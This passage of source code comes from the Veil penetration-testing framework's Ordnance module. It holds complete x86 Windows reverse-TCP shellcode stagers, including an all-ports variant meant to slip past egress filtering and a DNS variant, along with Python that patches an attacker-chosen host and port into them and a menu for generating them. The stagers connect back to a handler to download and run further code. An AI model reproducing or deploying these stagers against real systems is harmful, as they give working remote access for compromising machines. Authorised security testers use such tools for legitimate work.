'\\x' + two_bites.decode('UTF-8') final_https_shellcode = codecs.encode(self.stager[0:self.lport_offset], 'hex') final_p1 = "\\x" + '\\x'.join(codecs.decode(final_https_shellcode[i:i + 2], 'utf-8') for i in range(0, len(final_https_shellcode), 2)) final_p1 += port_little_endian # Add 91 bytes to get to URI offset final_https_shellcode2 = codecs.encode(self.stager[self.lport_offset + 2:self.uri_offset], 'hex') final_p2 = "\\x" + '\\x'.join(codecs.decode(final_https_shellcode2[i:i + 2], 'utf-8') for i in range(0, len(final_https_shellcode2), 2)) sc = (b'\\x00').decode('utf-8') final_p2 += uri_shellcode + sc final_https_shellcode3 = codecs.encode(self.stager[self.uri_offset + 5:], 'hex') final_p3 = "\\x" + '\\x'.join(codecs.decode(final_https_shellcode3[i:i + 2], 'utf-8') for i in range(0, len(final_https_shellcode3), 2)) final_p3 += ip_shellcode final_p3 += "\\x00" self.customized_shellcode = final_p1 + final_p2 + final_p3 def print_shellcode(self): print(self.customized_shellcode) return def payload_stats(self): print(" [*] Payload Name: " + helpers.color(self.name)) print(" [*] IP Address: " + helpers.color(self.required_options['LHOST'][0])) print(" [*] Port: " + helpers.color(str(self.required_options['LPORT'][0]))) print(" [*] Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) print(self.customized_shellcode) return Veil-3.1.14/tools/ordnance/payloads/x86/rev_tcp.py000066400000000000000000000145431365017756100217270ustar00rootroot00000000000000""" reverse_tcp payload Completely ported from Metasploit Framework: https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/windows/reverse_tcp.rb """ import binascii import codecs import socket from lib.common import helpers class ShellcodeModule: def __init__(self, cli_arguments): self.name = "Reverse TCP Stager (Stage 1)" self.description = "Connects back to a handler to download and run\ fun files :)" self.cli_name = "rev_tcp" self.platform = "Windows" self.arch = "x86" self.retries_offset = 192 self.lhost_offset = 194 self.lport_offset = 201 self.exitfunc_offset = 226 self.exit_func = '\xf0\xb5\xa2\x56' self.customized_shellcode = "" self.stager = ( b"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + b"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + b"\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + b"\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + b"\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + b"\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + b"\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + b"\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" + b"\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" + b"\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" + b"\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A" + b"\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56" + b"\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75" + b"\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" + b"\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" + b"\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" + b"\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\xC3") self.required_options = { "LHOST": ["", "LHOST value"], "LPORT": ["", "LPORT value"], "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], "BadChars": ["\\x00", "Optional: Bad characters to avoid"] } def cli_gen_shellcode(self): '''Invokes payload generating function since nothing special is needed for cli specifically''' self.payload_gen() return def gen_shellcode(self): '''Invoked by main menu, generates code''' self.payload_gen() return def print_shellcode(self): '''Prints shellcode''' print(self.customized_shellcode) return def payload_stats(self): '''Prints payload stats''' print(" [*] Payload Name: " + helpers.color(self.name)) print(" [*] IP Address: " + helpers.color(self.required_options['LHOST'][0])) print(" [*] Port: " + helpers.color(str(self.required_options['LPORT'][0]))) print(" [*] Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) print(self.customized_shellcode) return def payload_gen(self): # Take the passed in attributes and gen shellcode ip_shellcode = "" n = 2 ip_shellcode_stage = binascii.hexlify(socket.inet_aton(self.required_options["LHOST"][0])) ip_shellcode_stage = [ip_shellcode_stage[i:i + n] for i in range(0, len(ip_shellcode_stage), n)] for two_bytes in ip_shellcode_stage: ip_shellcode += '\\x' + two_bytes.decode('UTF-8') # convert port to shellcode port_shellcode_stage = str(hex(int(self.required_options['LPORT'][0])).lstrip('0')) if len(port_shellcode_stage.lstrip('x')) == 3: # detect if odd number, is so, need to add a '0' to the front port_1half = '0' + port_shellcode_stage[0:2].lstrip('x') port_1half = '\\x' + port_1half port_2half = port_shellcode_stage[2:4] port_2half = '\\x' + port_2half port_shellcode = port_1half + port_2half elif len(port_shellcode_stage.lstrip('x')) == 4: port_1half = port_shellcode_stage[1:3] port_1half = '\\x' + port_1half port_2half = port_shellcode_stage[3:5] port_2half = '\\x' + port_2half port_shellcode = port_1half + port_2half elif len(port_shellcode_stage.lstrip('x')) == 2: port_1half = port_shellcode_stage[1:3].lstrip('x') port_1half = '\\x' + port_1half port_2half = '00' port_2half = '\\x' + port_2half port_shellcode = port_2half + port_1half elif len(port_shellcode_stage.lstrip('x')) == 1: port_1half = port_shellcode_stage.lstrip('x') port_1half = '\\x0' + port_1half port_2half = '\\x00' port_shellcode = port_2half + port_1half retries = '\\x09' stager_shellcode = codecs.encode(self.stager[0:self.retries_offset], 'hex') stager_shellcode = "\\x" + '\\x'.join(codecs.decode(stager_shellcode[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode), 2)) stager_shellcode += retries stager_shellcode2 = codecs.encode(self.stager[self.retries_offset + 1:self.lhost_offset], 'hex') stager_shellcode2 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode2[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode2), 2)) stager_shellcode2 += ip_shellcode stager_shellcode3 = codecs.encode(self.stager[self.lhost_offset + 4:self.lport_offset], 'hex') stager_shellcode3 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode3[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode3), 2)) stager_shellcode3 += port_shellcode stager_shellcode4 = codecs.encode(self.stager[self.lport_offset + 2:], 'hex') stager_shellcode4 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode4[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode4), 2)) self.customized_shellcode = stager_shellcode + stager_shellcode2 + stager_shellcode3 + stager_shellcode4 return Veil-3.1.14/tools/ordnance/payloads/x86/rev_tcp_all_ports.py000066400000000000000000000140011365017756100237730ustar00rootroot00000000000000""" reverse_tcp all ports payload Completely ported from Metasploit Framework: https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/windows/reverse_tcp.rb """ import binascii import codecs import socket from lib.common import helpers class ShellcodeModule: def __init__(self, cli_arguments): self.name = "Reverse TCP All Ports Stager (Stage 1)" self.description = "Attempts to egress bust by trying all ports!" self.cli_name = "rev_tcp_all_ports" self.platform = "Windows" self.arch = "x86" self.retries_offset = 192 self.lhost_offset = 195 self.lport_offset = 202 self.exitfunc_offset = 226 self.exit_func = '\xf0\xb5\xa2\x56' self.customized_shellcode = "" self.stager = ( b"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + b"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + b"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + b"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + b"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + b"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + b"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + b"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + b"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" + b"\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" + b"\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" + b"\xD5\x97\x68\x7F\x00\x00\x01\x68\x02\x00\x01\x00\x89\xE6\x6A\x10" + b"\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x12\x31\xC0\x66" + b"\x8B\x46\x02\x86\xE0\x66\x40\x86\xE0\x66\x89\x46\x02\xEB\xDF\x6A" + b"\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40" + b"\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93" + b"\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29" + b"\xC6\x85\xF6\x75\xEC\xC3") self.required_options = { "LHOST": ["", "LHOST value"], "LPORT": ["", "LPORT value"], "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], "BadChars": ["\\x00", "Optional: Bad characters to avoid"] } def cli_gen_shellcode(self): '''Invokes payload generating function since nothing special is needed for cli specifically''' self.payload_gen() return def gen_shellcode(self): '''Invoked by main menu, generates code''' self.payload_gen() return def payload_gen(self): # Take the passed in attributes and gen shellcode ip_shellcode = "" n = 2 ip_shellcode_stage = binascii.hexlify(socket.inet_aton(self.required_options["LHOST"][0])) ip_shellcode_stage = [ip_shellcode_stage[i:i + n] for i in range(0, len(ip_shellcode_stage), n)] for two_bytes in ip_shellcode_stage: ip_shellcode += '\\x' + two_bytes.decode('UTF-8') # convert port to shellcode port_shellcode_stage = str(hex(int(self.required_options['LPORT'][0])).lstrip('0')) if len(port_shellcode_stage.lstrip('x')) == 3: # detect if odd number, is so, need to add a '0' to the front port_1half = '0' + port_shellcode_stage[0:2].lstrip('x') port_1half = '\\x' + port_1half port_2half = port_shellcode_stage[2:4] port_2half = '\\x' + port_2half port_shellcode = port_1half + port_2half elif len(port_shellcode_stage.lstrip('x')) == 4: port_1half = port_shellcode_stage[1:3] port_1half = '\\x' + port_1half port_2half = port_shellcode_stage[3:5] port_2half = '\\x' + port_2half port_shellcode = port_1half + port_2half elif len(port_shellcode_stage.lstrip('x')) == 2: port_1half = port_shellcode_stage[1:3].lstrip('x') port_1half = '\\x' + port_1half port_2half = '00' port_2half = '\\x' + port_2half port_shellcode = port_2half + port_1half elif len(port_shellcode_stage.lstrip('x')) == 1: port_1half = port_shellcode_stage.lstrip('x') port_1half = '\\x0' + port_1half port_2half = '\\x00' port_shellcode = port_2half + port_1half stager_shellcode = codecs.encode(self.stager[0:self.lhost_offset], 'hex') stager_shellcode = "\\x" + '\\x'.join(codecs.decode(stager_shellcode[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode), 2)) stager_shellcode += ip_shellcode stager_shellcode2 = codecs.encode(self.stager[self.lhost_offset + 4:self.lport_offset], 'hex') stager_shellcode2 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode2[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode2), 2)) stager_shellcode2 += port_shellcode stager_shellcode3 = codecs.encode(self.stager[self.lport_offset + 2:], 'hex') stager_shellcode3 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode3[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode3), 2)) self.customized_shellcode = stager_shellcode + stager_shellcode2 + stager_shellcode3 return def print_shellcode(self): print(self.customized_shellcode) return def payload_stats(self): print(" [*] Payload Name: " + helpers.color(self.name)) print(" [*] IP Address: " + helpers.color(self.required_options['LHOST'][0])) print(" [*] Port: " + helpers.color(str(self.required_options['LPORT'][0]))) print(" [*] Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) print(self.customized_shellcode) return Veil-3.1.14/tools/ordnance/payloads/x86/rev_tcp_dns.py000066400000000000000000000152421365017756100225700ustar00rootroot00000000000000""" reverse_tcp DNS payload Completely ported from Metasploit Framework: https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/stagers/windows/reverse_tcp_dns.rb """ import binascii import codecs from lib.common import helpers class ShellcodeModule: def __init__(self, cli_arguments): self.name = "Reverse TCP DNS Stager (Stage 1)" self.description = "Resolves DNS address, connects back to a handler\ to download and run fun files :)" self.cli_name = "rev_tcp_dns" self.platform = "Windows" self.arch = "x86" self.retries_offset = 207 self.lport_offset = 212 self.lhost_offset = 248 self.customized_shellcode = "" self.stager = ( b"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + b"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + b"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + b"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + b"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + b"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + b"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + b"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + b"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + b"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" + b"\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" + b"\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" + b"\xD5\x97\xEB\x2F\x68\xA9\x28\x34\x80\xFF\xD5\x8B\x40\x1C\x6A\x05" + b"\x50\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5\x74" + b"\x61\xFF\xD5\x85\xC0\x74\x51\xFF\x4E\x08\x75\xEC\x68\xF0\xB5\xA2" + b"\x56\xFF\xD5\xE8\xCC\xFF\xFF\xFF\x58\x58\x58\x58\x58\x58\x58\x58" + b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + b"\x58\x58\x58\x58\x58\x58\x58\x00\x6A\x00\x6A\x04\x56\x57\x68\x02" + b"\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" + b"\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" + b"\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\xC3") self.required_options = { "LHOST": ["", "LHOST domain value"], "LPORT": ["", "LPORT value"], "Encoder": ["None", "Optional: Encoder to use when avoiding bad characters"], "BadChars": ["\\x00", "Optional: Bad characters to avoid"] } def cli_gen_shellcode(self): '''Invokes payload generating function since nothing special is needed for cli specifically''' self.payload_gen() return def gen_shellcode(self): '''Invoked by main menu, generates code''' self.payload_gen() return def payload_gen(self): # Take the passed in attributes and gen shellcode ip_shellcode = "" n = 2 ip_shellcode_stage = binascii.hexlify(self.required_options["LHOST"][0].encode()) ip_shellcode_stage = [ip_shellcode_stage[i:i+n] for i in range(0, len(ip_shellcode_stage), n)] for two_bytes in ip_shellcode_stage: ip_shellcode += '\\x' + two_bytes.decode('UTF-8') # convert port to shellcode port_shellcode_stage = str(hex(int(self.required_options['LPORT'][0])).lstrip('0')) if len(port_shellcode_stage.lstrip('x')) == 3: # detect if odd number, is so, need to add a '0' to the front port_1half = '0' + port_shellcode_stage[0:2].lstrip('x') port_1half = '\\x' + port_1half port_2half = port_shellcode_stage[2:4] port_2half = '\\x' + port_2half port_shellcode = port_1half + port_2half elif len(port_shellcode_stage.lstrip('x')) == 4: port_1half = port_shellcode_stage[1:3] port_1half = '\\x' + port_1half port_2half = port_shellcode_stage[3:5] port_2half = '\\x' + port_2half port_shellcode = port_1half + port_2half elif len(port_shellcode_stage.lstrip('x')) == 2: port_1half = port_shellcode_stage[1:3].lstrip('x') port_1half = '\\x' + port_1half port_2half = '00' port_2half = '\\x' + port_2half port_shellcode = port_2half + port_1half elif len(port_shellcode_stage.lstrip('x')) == 1: port_1half = port_shellcode_stage.lstrip('x') port_1half = '\\x0' + port_1half port_2half = '\\x00' port_shellcode = port_2half + port_1half retries = '\\x09' stager_shellcode = codecs.encode(self.stager[0:self.retries_offset], 'hex') stager_shellcode = "\\x" + '\\x'.join(codecs.decode(stager_shellcode[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode), 2)) stager_shellcode += retries stager_shellcode2 = codecs.encode(self.stager[self.retries_offset + 1:self.lport_offset], 'hex') stager_shellcode2 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode2[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode2), 2)) stager_shellcode2 += port_shellcode stager_shellcode3 = codecs.encode(self.stager[self.lport_offset + 2:self.lhost_offset], 'hex') stager_shellcode3 = "\\x" + '\\x'.join(codecs.decode(stager_shellcode3[i:i + 2], 'utf-8') for i in range(0, len(stager_shellcode3), 2)) stager_shellcode3 += ip_shellcode stager_shellcode3 += "\\x00" stager_p2 = codecs.encode(self.stager[self.lhost_offset + len(self.required_options["LHOST"][0]) + 1:], 'hex') stager_p2 = "\\x" + '\\x'.join(codecs.decode(stager_p2[i:i + 2], 'utf-8') for i in range(0, len(stager_p2), 2)) self.customized_shellcode = stager_shellcode + stager_shellcode2 + stager_shellcode3 + stager_p2 return def print_shellcode(self): print(self.customized_shellcode) return def payload_stats(self): print(" [*] Payload Name: " + helpers.color(self.name)) print(" [*] IP Address: " + helpers.color(self.required_options['LHOST'][0])) print(" [*] Port: " + helpers.color(str(self.required_options['LPORT'][0]))) print(" [*] Shellcode Size: " + helpers.color(str(len(self.customized_shellcode) / 4).rstrip('.0') + '\n')) print(self.customized_shellcode) return Veil-3.1.14/tools/ordnance/tool.py000066400000000000000000000470031365017756100167760ustar00rootroot00000000000000""" This is the Veil-Ordnance module """ import glob import readline import sys from lib.common import helpers from lib.common import completer from tools.ordnance.ordnance_common import ordnance_helpers from tools.ordnance.encoders import * from tools.ordnance.payloads.x86 import * class Tools: def __init__(self, cli_options=None): self.cli_name = "Ordnance" self.description = "Generates shellcode for supported payloads" # all encoders within the encoders directory self.active_encoders = {} # Payloads currently within the x86 payload directory self.active_shellcode = {} # Load all encoder modules self.load_encoders(cli_options) # Load all payload modules self.load_payloads(cli_options) self.command_options = cli_options self.ordnance_main_menu_commands = { "list": "List available [payloads] or [encoders]", "use": "Use a specific payload", "exit": "Completely exit Veil", "back": "Go to Veil's main menu"} self.final_shellcode = "" self.shellcode_option_commands = { "set": "Set payload option", "generate": "Generate the payload", "back": "Go back to Veil-Ordnance", "exit": "Completely exit Veil", "options": "Show the payload's options", "list": "List available encoders", } # Used to track if invoked by another tool self.invoked = False self.selected_payload = "" self.payload_options = {} def cli_menu(self, invoked=False): # Check to see if we're just listing payloads or encoders # If so, do that and then exit # --list-payloads if self.command_options.list_payloads: self.print_payloads() sys.exit() # --list-encoders elif self.command_options.list_encoders: self.print_encoders() sys.exit() # Now let's check for payloads we're doing # Missing --ordnance-payload ? if not self.command_options.ordnance_payload: print(helpers.color(" [!] ERROR: Missing ordnance-payload selection (--ordnance-payload ). Try: -t Ordnance --list-payloads", warning=True)) else: payload_selected = self.command_options.ordnance_payload.lower() payload = self.return_payload_object(payload_selected) if not payload: print(helpers.color(" [!] ERROR: You specified a non-existent Ordnance payload!", warning=True)) sys.exit() else: if "LHOST" in payload.required_options: # Is --ip missing? if self.command_options.ip is None: print(helpers.color(" [!] ERROR: Missing --ip ", warning=True)) sys.exit() else: valid_ip = helpers.validate_ip(self.command_options.ip) valid_hostname = helpers.validate_hostname(self.command_options.ip) if valid_ip: payload.required_options["LHOST"][0] = self.command_options.ip elif valid_hostname: if payload.cli_name == 'rev_tcp_dns': payload.required_options["LHOST"][0] = self.command_options.ip else: print(helpers.color(" [!] ERROR: Invalid IP/Hostname specified!", warning=True)) sys.exit() else: print(helpers.color(" [!] ERROR: Invalid IP/Hostname specified!", warning=True)) sys.exit() if "LPORT" in payload.required_options: if 0 < self.command_options.port < 65535: payload.required_options["LPORT"][0] = self.command_options.port else: print(helpers.color(" [!] ERROR: Invalid port number provided!", warning=True)) print(helpers.color("[*] Try again?", warning=True)) sys.exit() # Generate the original shellcode payload.cli_gen_shellcode() self.final_shellcode = payload.customized_shellcode # Check if an encoder is being called by the user if self.command_options.encoder != None: encoder_found_here = False if "BadChars" in payload.required_options: payload.required_options["BadChars"][0] = self.command_options.bad_chars for loaded_encoder in self.active_encoders.values(): if self.command_options.encoder.lower() == loaded_encoder.cli_name: encoder_found_here = True loaded_encoder.cli_encode(payload) if not encoder_found_here: print(helpers.color(" [!] ERROR: Encoder you specified was not found!", warning=True)) print(helpers.color("[*] Try again?", warning=True)) sys.exit() self.final_shellcode = payload.customized_shellcode if invoked: pass else: payload.payload_stats() return def load_encoders(self, cli_args): for name in sorted( glob.glob('tools/ordnance/encoders/*.py') ): if name.endswith(".py") and ("__init__" not in name): module = helpers.load_module(name) self.active_encoders[name] = module.EncoderModule(cli_args) return def load_payloads(self, cli_args): for name in sorted( glob.glob('tools/ordnance/payloads/x86/*.py') ): if name.endswith(".py") and ("__init__" not in name): module = helpers.load_module(name) self.active_shellcode[name] = module.ShellcodeModule(cli_args) return def print_encoders(self): print("Available Encoder Modules") print("\tCommand Line Name => Description") print("-" * 79) print() for encoder_module in self.active_encoders.values(): print( "\t%s => %s" % ( '{0: <24}'.format( helpers.color( encoder_module.cli_name ) ), encoder_module.name ) ) return def print_shellcode_option_commands(self): print(helpers.color(" Available Commands:\n")) for name in sorted(self.shellcode_option_commands.keys()): print('\t' + '{0: <8}'.format(name) + "\t\t" + '{0: <8}'.format(self.shellcode_option_commands[name])) print() def print_options_screen(self, pload_object): ordnance_helpers.title_screen() print("Payload: " + helpers.color(pload_object.cli_name) + " selected\n") print(helpers.color(" Required Options:\n")) print('{0: <16}'.format('Name') + '\t' + '{0: <8}'.format('Value') + '\t' + '{0: <8}'.format('Description')) print('{0: <16}'.format('----') + '\t' + '{0: <8}'.format('-----') + '\t' + '{0: <8}'.format('-----------')) for opt_name in sorted(pload_object.required_options.keys()): print('{0: <16}'.format(opt_name) + '\t' + '{0: <8}'.format(pload_object.required_options[opt_name][0]) + '\t' + pload_object.required_options[opt_name][1]) print() self.print_shellcode_option_commands() return def print_menu(self): ordnance_helpers.title_screen() print("Veil-Ordnance Menu") print("\n\t" + helpers.color(len(self.active_shellcode)) + " payloads loaded") print("\t" + helpers.color(len(self.active_encoders)) + " encoders loaded\n") print("Available Commands:\n") for command in sorted(self.ordnance_main_menu_commands.keys()): print("\t" + helpers.color(command) + '\t\t\t' + self.ordnance_main_menu_commands[command]) print() return def print_payloads(self): print("Available Payload Modules") print("\tCommand Line Name => Description") print("-" * 79) print() lastBase = None x = 1 for payload in self.active_shellcode.values(): parts = payload.cli_name.split("_") if lastBase and parts[0] != lastBase: print() lastBase = parts[0] print( "\t%s)\t%s => %s" % ( x, '{0: <28}'.format( helpers.color( payload.cli_name ) ), payload.name ) ) x += 1 return def tool_main_menu(self, invoked=False): # This is the main function where everything is called from # Iterate over payloads and find the user selected payload module # invoked is used when another tool is calling this function ordnance_main_command = "" show_ordnance_menu = True # Called from another tool? if invoked: self.invoked = True while True: if show_ordnance_menu: self.print_menu() show_ordnance_menu = False ordnance_main_command = input('Veil/Ordnance>: ').strip().lower() # See if we're listing payloads or encoders if ordnance_main_command.startswith('list'): if len(ordnance_main_command.split()) == 1: print() print(helpers.color(" [!] ERROR: You did not provide what you want to list!", warning=True)) print(helpers.color(" [*] Ex: list payloads OR list encoders", warning=True)) print() elif len(ordnance_main_command.split()) == 2: list_selection = ordnance_main_command.split()[1].lower() # Check and see what we are listing # Payloads if list_selection.startswith('p'): ordnance_helpers.title_screen() self.print_payloads() # Encoders elif list_selection.startswith('e'): ordnance_helpers.title_screen() self.print_encoders() else: print() print(helpers.color(" [!] ERROR: You did not provide a valid item to list!", warning=True)) print(helpers.color(" [*] Ex: list payloads OR list encoders", warning=True)) print() elif ordnance_main_command.startswith("back") or ordnance_main_command.startswith("main") or ordnance_main_command.startswith("menu"): break elif ordnance_main_command.startswith("exit") or ordnance_main_command.startswith("quit"): sys.exit(0) elif ordnance_main_command.startswith('use'): if len(ordnance_main_command.split()) == 2: payload_selected = ordnance_main_command.split()[1].lower() selected_payload_module = self.return_payload_object(payload_selected) if not selected_payload_module: print() print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) print(helpers.color(" [*] Ex: use 2 OR use rev_http", warning=True)) print() else: self.use_payload(selected_payload_module) # If invoked, return the shellcode if self.invoked: return ## If not, show the menu else: show_evasion_menu = True else: print() print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) print(helpers.color(" [*] Ex: use 2 OR use rev_http", warning=True)) print() return def return_payload_object(self, user_selection): # This function handles returning the selected payload module object # to the calling function counter_value = 1 for payload in self.active_shellcode.values(): if user_selection.isdigit() and (0 < int(user_selection) <= len(self.active_shellcode)): if int(user_selection) == counter_value: return payload else: if user_selection.lower() == payload.cli_name: return payload # Iterate counter for number based selection counter_value += 1 return False def use_encoder(self, incoming_pload): encoder_found = False for loaded_encoder in self.active_encoders.values(): if incoming_pload.required_options["Encoder"][0].lower() == loaded_encoder.cli_name: encoder_found = True loaded_encoder.encode(incoming_pload) if not encoder_found: print() print(helpers.color(" [!] ERROR: Encoder not found! Printing non-encoded shellcode!", warning=True)) print() return def use_payload(self, payload): while ordnance_helpers.loop_req_options(payload): # Soon as we load the payload, show options self.print_options_screen(payload) while True: comp = completer.OrdnanceCompleter(self.shellcode_option_commands, payload) readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) show_payload_menu = False shellcode_command = input("[" + payload.cli_name + ">>]: ").strip().lower() # Start logic for required option commands if shellcode_command.startswith("set"): if len(shellcode_command.split()) < 3 or len(shellcode_command.split()) > 3: print() print(helpers.color(" [!] ERROR: You did not provide the correct input for setting an option!", warning=True)) print(helpers.color(" [*] Ex: set LHOST 192.168.18.14", warning=True)) print() else: found_req_option = False for key, value in payload.required_options.items(): if shellcode_command.split()[1] == key.lower(): found_req_option = True value[0] = shellcode_command.split()[2] if not found_req_option: print() print(helpers.color(" [!] ERROR: You didn't provide a correct option to set, please retry!", warning=True)) print() elif shellcode_command.startswith("exit") or shellcode_command.startswith("quit"): sys.exit(0) elif shellcode_command.startswith("back") or shellcode_command.startswith("main") or shellcode_command.startswith("menu"): show_payload_menu = True break elif shellcode_command.startswith("list"): ordnance_helpers.title_screen() self.print_encoders() elif shellcode_command.startswith("gen") or shellcode_command.startswith("run"): lport_out = "" lhost_out = "" rhost_out = "" if ordnance_helpers.loop_req_options(payload): print() print(helpers.color(" [!] ERROR: You didn't provide all the required options!", warning=True)) print() else: safe_to_generate = True if "LHOST" in payload.required_options: if not ordnance_helpers.check_lhost(payload.required_options["LHOST"][0]): print() print(helpers.color(" [!] ERROR: You didn't provide a valid IP address!", warning=True)) print(helpers.color(" [!] ERROR: Try again :)", warning=True)) print() safe_to_generate = False if "LPORT" in payload.required_options: if not ordnance_helpers.check_lport(payload.required_options["LPORT"][0]): print() print(helpers.color(" [!] ERROR: You didn't provide a valid LPORT value!", warning=True)) print(helpers.color(" [!] ERROR: Try again :)", warning=True)) print() safe_to_generate = False if safe_to_generate: # Generate the shellcode payload.gen_shellcode() # Gather information to generate handler if requested self.final_shellcode = payload.customized_shellcode if "LHOST" in payload.required_options: lhost_out = payload.required_options["LHOST"][0] if "LPORT" in payload.required_options: lport_out = payload.required_options["LPORT"][0] if "RHOST" in payload.required_options: 